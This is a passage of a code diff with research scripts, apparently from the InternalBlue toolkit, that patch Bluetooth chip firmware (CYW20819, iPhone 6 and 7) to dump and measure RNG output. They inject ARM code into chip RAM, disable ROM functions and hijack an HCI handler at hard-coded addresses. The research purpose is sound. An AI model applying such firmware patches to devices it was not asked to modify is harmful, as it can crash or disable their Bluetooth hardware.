// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_rng
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 243
|
||||
mov r1, 0xff
|
||||
mov r0, 245
|
||||
bl 0x117CA // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 10 // buffer starts at 10 with data
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x1156E // bthci_event_AttemptToEnqueueEventToTransport
|
||||
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
|
||||
# Disable Patchram
|
||||
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
|
||||
# progress_log.critical("error!")
|
||||
# exit(-1)
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
|
||||
if not internalblue.patchRom(0xF2884, b'\x01\x90\x21\x00'): # 0x219001
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# Disable functions that crash us when using the target memory region at 0x219000
|
||||
patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(0x79AC6, patch):
|
||||
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
pos = 0
|
||||
failed = False
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
if failed:
|
||||
continue
|
||||
|
||||
# no errors, save data
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20819-randomdata-0x500-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+261
@@ -0,0 +1,261 @@
|
||||
#!/usr/bin/python3
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.hcicore import HCICore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
import os
|
||||
from datetime import datetime
|
||||
import binascii
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the CYW20819 Evaluation Board.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* BT only, no need to disable Wi-Fi.
|
||||
|
||||
* CYW20819-specific patch: Launch_RAM crashes the chip, so we build
|
||||
our own HCI handler.
|
||||
|
||||
"""
|
||||
|
||||
#ASM_LOCATION_RNG = 0x271000 # load our snippet into Patchram (we need to disable all patches for this!)
|
||||
ASM_LOCATION_RNG = 0x219000
|
||||
# 0x219000 crashed with 0x1000 in round 27
|
||||
# 0x216000 looks emptier but crashed on first attempt
|
||||
# memdump doesn't look so good in binwalk entropy, so we really don't have memory I fear
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x100 # run this often (x5 bytes) .. worked with 0x500 in one run but then didn't in another
|
||||
# longer snippets (0x600) don't work! 0x500 works but is corrupted by other process.
|
||||
FUN_RNG = 0xB2562 # original RNG function that we overwrite with bx lr
|
||||
PRAND = 0x3186A0 # the pseudo random register we want to benchmark
|
||||
# !!! also uses either cache or HRNG even though the first check failed, and then the following 4 registers
|
||||
# 0x318088 dc_nbtc_clk_adr
|
||||
# 0x32A004 timer1value_adr
|
||||
# 0x3186A0 dc_fhout_adr
|
||||
# 0x410434 agcStatus_adr
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// send a command complete event as we overwrote the launch_RAM handler to prevent HCI timeout event wait
|
||||
mov r0, #0xFC4E // launch RAM command
|
||||
mov r1, 0 // event success
|
||||
bl 0x1179E // bthci_event_SendCommandCompleteEventWithStatus
|
||||
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_pseudo:
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x%x
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_pseudo
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r2, 243
|
||||
mov r1, 0xff
|
||||
mov r0, 245
|
||||
bl 0x117CA // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 10 // buffer starts at 10 with data
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x1156E // bthci_event_AttemptToEnqueueEventToTransport
|
||||
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = HCICore()
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("Installing assembly patches...")
|
||||
|
||||
# Disable Patchram
|
||||
#if not internalblue.writeMem(address=0x310404, data=b'\x00\x00\x00\x00\x00', progress_log=progress_log):
|
||||
# progress_log.critical("error!")
|
||||
# exit(-1)
|
||||
|
||||
# Install the RNG code in RAM
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
# CYW20819 Launch_RAM fix: overwrite an unused HCI handler
|
||||
# The Launch_RAM handler is broken so we can just overwrite it to call the function we need.
|
||||
# The handler table entry for it is at 0xF2884, and it points to launch_RAM+1.
|
||||
if not internalblue.patchRom(0xF2884, p32(ASM_LOCATION_RNG+1)): # 0x219001
|
||||
log.critical("Could not implement our launch RAM fix!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# Disable functions that crash us when using the target memory region at 0x219000
|
||||
patch = asm("bx lr; bx lr", vma=0x79AC6) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(0x79AC6, patch):
|
||||
log.critical("Could not disable original bcs_taskDeactivate_blocking!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
pos = 0
|
||||
failed = False
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
if failed:
|
||||
continue
|
||||
|
||||
# no errors, save data
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
# print the data as a demo
|
||||
random = np.delete(random, np.arange(4, random.__len__(), 5))
|
||||
randstring = binascii.hexlify(bytearray(random))
|
||||
log.info([randstring[i:i+8] for i in range(0, len(randstring), 8)])
|
||||
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("cyw20819-randomdata_pseudo-0x500-%irounds-reg%x-%s.bin" % (rounds, PRAND, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+242
@@ -0,0 +1,242 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.ioscore import iOSCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the iPhone 6.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* !!! Wi-Fi must be disabled by hand.
|
||||
|
||||
"""
|
||||
|
||||
# at 0x211000 we have 0x200 (but not 0x300)
|
||||
# at 0x213000 we have 0x500 (0x700 broke after 39)
|
||||
# at 0x212a00 we have 0xa00 (but not 0x1000)
|
||||
# at 0x212800 we have 0xd00 (but not 0xe00) - not really if we look into dumpmem! its less
|
||||
# at 0x212600 we got blockage, same at 0x212700
|
||||
|
||||
ASM_LOCATION_RNG = 0x212800 # load our snippet here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0x790 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
|
||||
FUN_RNG = 0x916BA # original RNG function that we overwrite with bx lr
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_rng
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_rng:
|
||||
|
||||
// wait until RNG is ready, which is indicated by status 0x200fffff
|
||||
wait_ready:
|
||||
ldr r2,=0x314008
|
||||
ldr r2, [r2]
|
||||
ldr r3, =0x200fffff
|
||||
cmp r2, r3
|
||||
bne wait_ready
|
||||
|
||||
// request new entropy: 0x314004=1
|
||||
mov r3, 1
|
||||
ldr r2, =0x314004
|
||||
str r3, [r2]
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x31400c
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_rng
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r1, 6 // event length (+2)
|
||||
mov r0, 0xff // type: vendor specific
|
||||
bl 0x15DD4 // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 2 // buffer starts at 2 with data (?)
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x573B8 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x581AE // osapi_blockPoolFree
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG)
|
||||
|
||||
|
||||
internalblue = iOSCore(log_level='info')
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 1000
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
|
||||
# do an immediate check to tell where the corruption happened
|
||||
check = random[4::5]
|
||||
pos = 0
|
||||
failed = False
|
||||
for c in check:
|
||||
pos = pos + 1
|
||||
if c != 0x42:
|
||||
log.warn(" Data was corrupted at 0x%x, repeating round." % (MEM_RNG+(pos*5)))
|
||||
failed = True
|
||||
break
|
||||
|
||||
if failed:
|
||||
continue
|
||||
|
||||
# no errors, save data
|
||||
data.extend(random)
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("i6_randomdata-%irounds-%s.bin" % (rounds, datetime.now()), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+226
@@ -0,0 +1,226 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.ioscore import iOSCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the iPhone 6.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
* We overwrite the original `rbg_rand` function with `bx lr` to
|
||||
ensure we're the only ones accessing the RNG.
|
||||
|
||||
* !!! Wi-Fi must be disabled by hand.
|
||||
|
||||
"""
|
||||
|
||||
# at 0x211000 we have 0x200 (but not 0x300)
|
||||
# at 0x213000 we have 0x500 (0x700 broke after 39)
|
||||
# at 0x212a00 we have 0xa00 (but not 0x1000)
|
||||
# at 0x212800 we have 0xd00 (but not 0xe00)
|
||||
# at 0x212600 we got blockage, same at 0x212700
|
||||
|
||||
ASM_LOCATION_RNG = 0x212800 # load our snippet here
|
||||
MEM_RNG = ASM_LOCATION_RNG + 0xf0 # store results here
|
||||
MEM_ROUNDS = 0xd00 # run this often (x5 bytes) ... 0x1000 doesn't crash immediately but somewhen later :/
|
||||
FUN_RNG = 0x916BA # original RNG function that we overwrite with bx lr
|
||||
PRAND = 0x200880
|
||||
# 0x318088 dc_nbtc_clk_adr
|
||||
# 0x32A004 timer1value_adr
|
||||
# 0x3186A0 dc_fhout_adr
|
||||
# 0x31FC34 agcStatus_adr
|
||||
# 0x31FFA0 rxInitAngle_adr
|
||||
# 0x31F8A4 spurFreqErr1_adr
|
||||
# 0x31FD48 rxPskPhErr5_adr
|
||||
# 0x200880 *mm_top TODO needs special memcpy but is only used once for init
|
||||
|
||||
ASM_SNIPPET_RNG = """
|
||||
|
||||
// use r0-r7 locally
|
||||
push {r0-r7, lr}
|
||||
|
||||
// enter RNG dumping mode
|
||||
ldr r0, =0x%x // run this many rounds
|
||||
ldr r1, =0x%x // dst: store RNG data here
|
||||
bl dump_pseudo
|
||||
|
||||
// done, let's notify
|
||||
bl notify_hci
|
||||
|
||||
// back to lr
|
||||
pop {r0-r7, pc}
|
||||
|
||||
|
||||
//// the main RNG dumping routine
|
||||
dump_pseudo:
|
||||
|
||||
// dst is in r1, dump RNG value here
|
||||
ldr r2, =0x%x
|
||||
ldr r3, [r2]
|
||||
str r3, [r1]
|
||||
add r1, 4
|
||||
|
||||
// add a test byte to ensure that no other process wrote here
|
||||
mov r3, 0x42
|
||||
str r3, [r1]
|
||||
add r1, 1
|
||||
|
||||
// loop for rounds in r0
|
||||
subs r0, 1
|
||||
bne dump_pseudo
|
||||
bx lr
|
||||
|
||||
|
||||
|
||||
//// issue an HCI event once we're done
|
||||
notify_hci:
|
||||
|
||||
push {r0-r4, lr}
|
||||
|
||||
// allocate vendor specific hci event
|
||||
mov r1, 6 // event length (+2)
|
||||
mov r0, 0xff // type: vendor specific
|
||||
bl 0x15DD4 // bthci_event_AllocateEventAndFillHeader
|
||||
mov r4, r0 // save pointer to the buffer in r4
|
||||
|
||||
// append buffer with "RAND"
|
||||
add r0, 2 // buffer starts at 2 with data (?)
|
||||
ldr r1, =0x444e4152 // RAND
|
||||
str r1, [r0]
|
||||
add r0, 4 // advance buffer by 4
|
||||
|
||||
// send hci event
|
||||
mov r0, r4 // back to buffer at offset 0
|
||||
bl 0x573B8 // send_hci_event_without_free()
|
||||
|
||||
// free HCI buffer
|
||||
mov r0, r4
|
||||
bl 0x581AE // osapi_blockPoolFree
|
||||
|
||||
pop {r0-r4, pc}
|
||||
|
||||
|
||||
""" % (MEM_ROUNDS, MEM_RNG, PRAND)
|
||||
|
||||
|
||||
internalblue = iOSCore(log_level='info')
|
||||
internalblue.interface = internalblue.device_list()[0][1] # just use the first device
|
||||
|
||||
# setup sockets
|
||||
if not internalblue.connect():
|
||||
log.critical("No connection to target device.")
|
||||
exit(-1)
|
||||
|
||||
progress_log = log.info("installing assembly patches...")
|
||||
|
||||
|
||||
|
||||
# Disable original RNG
|
||||
patch = asm("bx lr; bx lr", vma=FUN_RNG) # 2 times bx lr is 4 bytes and we can only patch 4 bytes
|
||||
if not internalblue.patchRom(FUN_RNG, patch):
|
||||
log.critical("Could not disable original RNG!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
# Install the RNG code in RAM (2nd step on iPhone to not disturb the readMemAligned snippet)
|
||||
code = asm(ASM_SNIPPET_RNG, vma=ASM_LOCATION_RNG)
|
||||
if not internalblue.writeMem(address=ASM_LOCATION_RNG, data=code, progress_log=progress_log):
|
||||
progress_log.critical("error!")
|
||||
exit(-1)
|
||||
|
||||
|
||||
|
||||
log.info("Installed all RNG hooks.")
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
We cannot call HCI Read_RAM from this callback as it requires another callback (something goes wrong here),
|
||||
so we cannot solve this recursively but need some global status variable. Still, polling this is way faster
|
||||
than polling a status register in the Bluetooth firmware itself.
|
||||
"""
|
||||
# global status
|
||||
internalblue.rnd_done = False
|
||||
def rngStatusCallback(record):
|
||||
hcipkt = record[0] # get HCI Event packet
|
||||
|
||||
if not issubclass(hcipkt.__class__, hci.HCI_Event):
|
||||
return
|
||||
|
||||
if hcipkt.data[0:4] == bytes("RAND", "utf-8"):
|
||||
log.debug("Random data done!")
|
||||
internalblue.rnd_done = True
|
||||
|
||||
# add RNG callback
|
||||
internalblue.registerHciCallback(rngStatusCallback)
|
||||
|
||||
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
|
||||
|
||||
# read for multiple rounds to get more experiment data
|
||||
rounds = 100
|
||||
i = 0
|
||||
data = bytearray()
|
||||
while rounds > i:
|
||||
log.info("RNG round %i..." % i)
|
||||
|
||||
# launch assembly snippet
|
||||
internalblue.launchRam(ASM_LOCATION_RNG)
|
||||
|
||||
# wait until we set the global variable that everything is done
|
||||
while not internalblue.rnd_done:
|
||||
continue
|
||||
internalblue.rnd_done = False
|
||||
|
||||
# and now read and save the random
|
||||
random = internalblue.readMem(MEM_RNG, MEM_ROUNDS*5)
|
||||
data.extend(random)
|
||||
|
||||
i = i + 1
|
||||
|
||||
log.info("Finished acquiring random data!")
|
||||
|
||||
# every 5th byte i 0x42
|
||||
check = data[4::5]
|
||||
for c in check:
|
||||
if c != 0x42:
|
||||
log.error("Data was corrupted by another process!")
|
||||
|
||||
# uhm and for deleting every 5th let's take numpy (oh why??)
|
||||
data = np.delete(data, np.arange(4, data.__len__(), 5))
|
||||
|
||||
|
||||
f = open("i6_randomdata_pseudo-%irounds-reg0x%x.bin" % (rounds, PRAND), "wb")
|
||||
f.write(data)
|
||||
f.close()
|
||||
|
||||
|
||||
#log.info("--------------------")
|
||||
#log.info("Entering InternalBlue CLI to interpret RNG.")
|
||||
|
||||
## enter CLI
|
||||
#cli.commandLoop(internalblue)
|
||||
|
||||
Executable
+250
@@ -0,0 +1,250 @@
|
||||
#!/usr/bin/python2
|
||||
|
||||
# Jiska Classen, Secure Mobile Networking Lab
|
||||
|
||||
import sys
|
||||
|
||||
from pwn import *
|
||||
from internalblue.ioscore import iOSCore
|
||||
import internalblue.hci as hci
|
||||
import internalblue.cli as cli
|
||||
import numpy as np
|
||||
from datetime import datetime
|
||||
|
||||
|
||||
|
||||
|
||||
"""
|
||||
Measure the RNG of the iPhone 7.
|
||||
Similar to matedealer's thesis, p. 51.
|
||||
|
||||
Changes:
|
||||
|
||||
* Every 5th byte is now 0x42 to ensure that no other process wrote
|
||||
into this memory region in the meantime. Does it job and cheaper
|
||||
than checksums.
|
||||
|
||||
* When we are done, we send an HCI event containing 'RAND'. We catch
|
||||
this with a callback. Way more efficient than polling.
|
||||
|
||||
